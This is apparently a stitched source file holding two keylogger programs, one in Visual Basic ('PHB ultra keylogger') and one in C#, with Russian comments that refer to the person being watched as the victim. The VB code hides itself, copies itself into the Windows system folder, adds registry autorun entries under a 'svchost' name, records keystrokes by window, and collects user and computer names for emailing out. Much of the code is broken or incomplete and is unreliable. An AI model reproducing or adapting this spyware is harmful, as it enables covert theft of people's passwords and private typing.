Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegisterServiceProcess Lib "Kernel32.dll" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal cX As Long, ByVal cY As Long, ByVal wFlags As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Const VK_CAPITAL = &H14
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND_TOPMOST = -1

Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1

Const flags = SWP_NOMOVE Or SWP_NOSIZE
Dim currentwindow As String
Dim logfile As String
Dim mail As String
Dim mail2 As String

Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While Getasynckeystate(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If Getasynckeystate(VK_CAPITAL) Then
While Getasynckeystate(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function

Private Sub Command1_Click()
Form1.Visible = False
End Sub


Private Sub Form_Load()
Dim runreg As String
Dim runthat(1 To 2) As String
Dim temporary As String
Dim tempos As String
Dim tmpx As String
Dim tmpy As String
Dim i As Integer
Dim line(1 To 10) As String
Dim newmailer As String


    If App.PrevInstance Then
        Unload Me
        End
    End If
   
   Me.Hide
   App.Taskvisable = false; 'когда-то я обожал эту штуку

   Hook Me.hWnd
 
Dim mypath, newlocation As String, u
    
    
currentwindow = GetCaption(GetForegroundWindow)

mypath = App.Path & "\" & App.EXEName & ".EXE"  'the name of app
newlocation = Environ("WinDir") & "\system\" & App.EXEName & ".EXE" 'new location
newmailer = Environ("WinDir") & "\system\" & App.EXEName & ".cff"
On Error Resume Next
If mypath <> newlocation Then
mail = InputBox("enter the mail address where you wish to send the logs to", "PHB ultra keylogger")
mail2 = ModuleCrypt.TextEncrypt(mail, 1)
Open newmailer For Output As #33
Print #33, mail2
Close #33
FileCopy mypath, newlocation

u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, KEY_ALL_ACCESS, a)
u = RegSetValueExA(a, App.EXEName, 0, REG, newlocation, 1)
u = RegCloseKey(a)


runreg = Environ("WinDir") & "\system\" & App.EXEName & ".REG"
logfile = Environ("WinDir") & "\system\" & App.EXEName & ".DLL"  'this points to the log file, you may change it


i = 1
For i = 1 To 999
tempx = Mid(newlocation, i, 1)
If tempx <> "\" Then
tempy = tempy & tempx
End If
If tempx = "\" Then
tempx = "\\"
tempy = tempy & tempx
End If
Next
'MsgBox (tempy)

Open "C:\a.txt" For Output As #99
Write #99, "svchost"
Write #99, tempy
Close #99

Open "C:\a.txt" For Input As #98
Line Input #98, temporary
Line Input #98, tempos
Close #98
Kill "C:\a.txt"
'end of acompatiblaittion block

line1 = "Windows Registry Editor Version 5.00"
line2 = "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]"
line3 = temporary & " = " & tempos
line4 = "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"
line5 = ""


Open runreg For Output As #2


Print #2, line1
Print #2, line5
Print #2, line2
Print #2, line5
Print #2, line3
Print #2, line5
Print #2, line4
Print #2, line5
Print #2, line3
Close #2
runthat1 = "regedit/s " & " " & runreg
runthat2 = "reg import" & " " & runreg
Shell runthat1
Shell runthat2


End If

If mypath = newlocation Then
Open newmailer For Input As #34
Line Input #34, mail
Close #34
mail2 = TextEncrypt(mail, 0)

End If

Open logfile For Append As #1

Write #1, vbCrLf
Write #1, "[Log Start: " & Now & "]" 'tells when the log started
Write #1, String$(50, "-")
Close #1
End Sub

Private Sub Form_Unload(Cancel As Integer)
    UnHook Me.hWnd

texter$ = Text1
Open logfile For Append As #1
Write #1, texter
Write #1, String$(50, "-")
Write #1, "[Log End: " & Now & "]" 'tells when the log ended
Close #1
End Sub

Private Sub Timer1_Timer()

If currentwindow <> GetCaption(GetForegroundWindow) Then
'Типа отслеживаем в каком окне жертва пишет...
currentwindow = GetCaption(GetForegroundWindow)

Text1 = Text1 & vbCrLf & vbCrLf & "[" & Time & " - Current Window: " & currentwindow & "]" & vbCrLf

End If


Dim keystate As Long
Dim Shift As Long
Shift = Getasynckeystate(vbKeyShift)

keystate = Getasynckeystate();
'тута обрабатываем инфу
'нада что-та типа text1 = text1 + Chr(keystate)
'ну или Asc(keyState)....непомню....

   keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{bkspc}"
     End If
   
   keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{tab}"
     End If
   
   keystate = Getasynckeystate(vbKeyReturn)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + vbCrLf
     End If
   
   keystate = Getasynckeystate(vbKeyShift)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{shift}"
     End If
   
   keystate = Getasynckeystate(vbKeyControl)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{ctrl}"
     End If
   
   keystate = Getasynckeystate(vbKeyMenu)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{alt}"
     End If
   
   keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{pause}"
     End If
   
   keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{esc}"
     End If
   
   keystate = Getasynckeystate(vbKeySpace)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + " "
     End If
   
   keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{end}"
     End If
   
   keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{home}"
     End If

If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{left}"
     End If

If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{right}"
     End If

If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{up}"
     End If
   
If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{down}"
     End If


If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{insert}"
     End If


If (keystate And &H1) = &H1 Then
  Text1 = Text1 + "{Delete}"
     End If

end if
         
End Sub

Private Sub Timer2_Timer()
'таймер с интервалом  25000 для записи лога в файл каждые 25 сек

Dim lfilesize As Long, txtlog As String, success As Integer
Dim from As String, name As String
Open logfile For Append As #1

Write #1, Text1
Close #1

Text1.Text = ""

lfilesize = FileLen(logfile)file

If lfilesize >= 40000 Then

'типа если файл больше
Text2 = ""

inform

Open logfile For Input As #1
While Not EOF(1)
Input #1, txtlog
DoEvents
Text2 = Text2 & vbCrLf & txtlog

Wend
Close #1
txtstatus = ""

End If

End Sub
Sub Cleaner()
Kill logfile
End Sub

Public Sub FormOntop(FormName As Form)
    Call SetWindowPos(FormName.hWnd, HWND_TOPMOST, 0&, 0&, 0&, 0&, flags)
End Sub
Function GetCaption(WindowHandle As Long) As String
    Dim Buffer As String, TextLength As Long
    TextLength& = GetWindowTextLength(WindowHandle&)
    Buffer$ = String(TextLength&, 0&)
    Call GetWindowText(WindowHandle&, Buffer$, TextLength& + 1)
    GetCaption$ = Buffer$
End Function
Sub inform()
    Dim szUser As String * 255
    Dim vers As String * 255
    Dim lang, lReturn, comp As Long
    Dim s, x As Long
    lReturn = GetUserName(szUser, 255)
    comp = GetComputerName(vers, 1024)
    Text2 = "Username- " & szUser
    Text2 = Text2 & vbCrLf & "Computer Name- " & vers
End Sub

// KeyLogger на С# через GetAsyncKeyState
[DllImport("user32.dll")]
private static 
extern short GetAsyncKeyState(System.Int32 vKey);

private String keybuffer;
private System.Timers.Timer CheckKey;
private System.Timers.Timer FlushBuffer;
private String file;

public Bolean Enabled
{
    get
    {
        return CheckKey.Enabled && FlushBuffer.Enabled;
    }
    set
    {
        CheckKey.Enabled=value;
        FlushBuffer.Enabled=value;
    }
}

public Double FlushInterval
{

    get
    {
        return FlushInterval.Interval;

    }
    set
    {
        FlushInterval.Interval=value;
    }
}


public String File
{
    get
    {
        return file;
    }
    set
    {
        file = value;
    }
}
public KeyLogger(String filename)
{

    keybuffer = string.Empty;  

    this.File = filename;

    CheckKey = new System.Timers.Timer();
    CheckKey.Enabled = true;
    CheckKey.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed);
    CheckKey.Interval = 10;

    FlushBuffer = new System.Timers.Timer();
    FlushBuffer.Enabled = true;
    FlushBuffer.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed);
    FlushBuffer.Interval = 120000;
}
foreach(Int32 h in Enum.GetValues(typeof(System.Windows.Forms.Keys)))
{
    if(GetAsyncKeyState(h) == -32767)
    keybuffer+=Enum.GetName(typeof(System.Windows.Forms.Keys),h)+” “;
}
public void Flush2File(string file, bool append)
{
    try
    {
        StreamWriter sw = new StreamWriter(file,append);
        sw.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(keybuffer)));
        sw.Close();
        keybuffer = string.Empty;

    }
    catch(Exception ex)
    {
        throw ex;
    }
}
string filename=@”c:\keylogger.txt”;
KeyLogger kl;

textBox1.Text=”60000”;
textBox3.Text=filename;

try
{
    KeyLogger = new KeyLogger(filename);
    Kl.FlushInterval = Convert.ToDouble(textBox1.text);
}
catch(Exception)
{
    MessageBox.Show(“Йа - ошибко”);
}

//Код для формы
string filename=@”c:\windows\keylogger.txt”;
KeyLogger kl;

textBox1.Text=”60000”;
textBox3.Text=filename;

try
{
    KeyLogger = new KeyLogger(filename);
    Kl.FlushInterval = Convert.ToDouble(textBox1.text);
}
catch(Exception)
{
    MessageBox.Show(“Йа - ошибко”);
}
kl.Enabled=true;
kl.Flush2File(textBox3.text,true);

kl.Flush2File(textBox3.text,true);
kl.Enabled=false;

StreamReader sr = new StreamReader(filename);
byte [] binary;

System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding();
binary = Convert.FromBase64String(sr.ReadLine());
richTextBox1.Text = enc.GetString(binary);

while(!sr.EndOfStream)
{
    binary = Convert.FromBase64String(sr.ReadLine());
    richTextBox1.AppendText(enc.GetString(binary));
}
sr.Close();

ContextMenu contextMenu = new ContextMenu();
contextMenu.MenuItems.Add(“&jes_yo”,new EventHandler(this.jes_yo));
notifyIcon1.ContextMenu = contextMenu;